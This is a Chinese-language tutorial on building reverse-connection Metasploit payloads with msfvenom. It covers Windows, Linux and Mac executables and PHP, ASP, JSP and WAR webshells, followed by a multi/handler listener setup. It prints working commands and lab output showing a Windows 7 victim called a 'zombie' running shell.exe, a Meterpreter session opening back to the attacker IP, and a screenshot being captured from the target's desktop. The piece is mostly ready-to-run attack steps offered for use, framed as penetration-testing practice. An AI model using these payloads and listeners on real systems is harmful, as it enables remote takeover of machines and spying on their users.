Metasploit之各种Payload生成与实战作用详解(反向)

Metasploit生成的Payload分为正向和反向,这篇文章讲的是反向,如下图

图片

反向就是说目标执行了我们生成的Payload后,会主动连接我们的攻击服务器MSF

生成二进制文件

  • Windows

    1
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  • Linux

    1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  • Mac

    1
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

生成Webshell脚本

在做web渗透的时候,经常会⽤到webshell,我们经常⽤的⼀句话⽤菜⼑连接,如何使⽤MSFVenom⽣成⼀个可以
⽤msf操作的webshell呢?

  • PHP
1
2
3
4
5
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >>
shell.php
  • ASP
1
2
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f asp > shell.asp
  • JSP
1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.jsp
  • WAR
1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f war > shell.war

如何生成Payload

用到的命令是msfvenom,具体可以看这篇文章:msfvenom-命令介绍

  • LHOST

填写的是攻击机器,也就是Kali的IP

  • LPORT

填写的是端口,一般填写的是高端口,如:6666、4444、8977等等,但是最好填写一下比较常用的端口,如:80、443、8080等等

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.136 LPORT=8080 -f exe > shell.exe

生成shell.exe:

1
2
3
4
5
6
root@liuwx:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.136 LPORT=8080 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes

此时在当前目录下有一个shell.exe!

因为在文章开头说了,这是反向连接,那么就需要先在攻击机器上监听,然后再然后肉鸡运行我们的文件才可以连接!

msfconsole接收

图片

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp //这个就是和上面msfvenom使用的payload是一样的
set LHOST 192.168.119.136
set LPORT 8080
run

接着我们放到Windows7下去执行这个二进制文件:

图片

最后,来看看Metasploit这边的监听情况:

图片

1
2
3
4
5
6
7
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.119.136:8080
[*] Sending stage (179779 bytes) to 192.168.119.139
[*] Meterpreter session 1 opened (192.168.119.136:8080 -> 192.168.119.139:49213) at 2019-10-09 21:42:14 +0800

meterpreter >

可以看到,Windows7运行了刚刚msfvenom生成的shell.exe后,Metasploit这边反弹了一个meterpreter会话过来!

screenshot //截图当前桌面

1
2
meterpreter > screenshot
Screenshot saved to: /root/BwCxBWYB.jpeg

可以看到,使用screenshot后会在/root/下生成一个BwCxBWYB.jpeg的图片

图片

这个就是这么一个Windows反向cmdshell

因为刚刚我们所反弹回来了一个shell,假设我们要重新监听其他的payload,那么就可以使用background来返回msfconsole控制台窗口:

1
2
3
meterpreter > background 
[*] Backgrounding session 1...
msf5 exploit(multi/handler) >

如果想查看当前连接的肉鸡,就可以使用sessions查看在后台有哪些连接了MSF

图片

如果想进入刚才那个meterperter,那么就sessions后面跟他的一个id

图片

这样就进入了刚刚那个cmdshell里!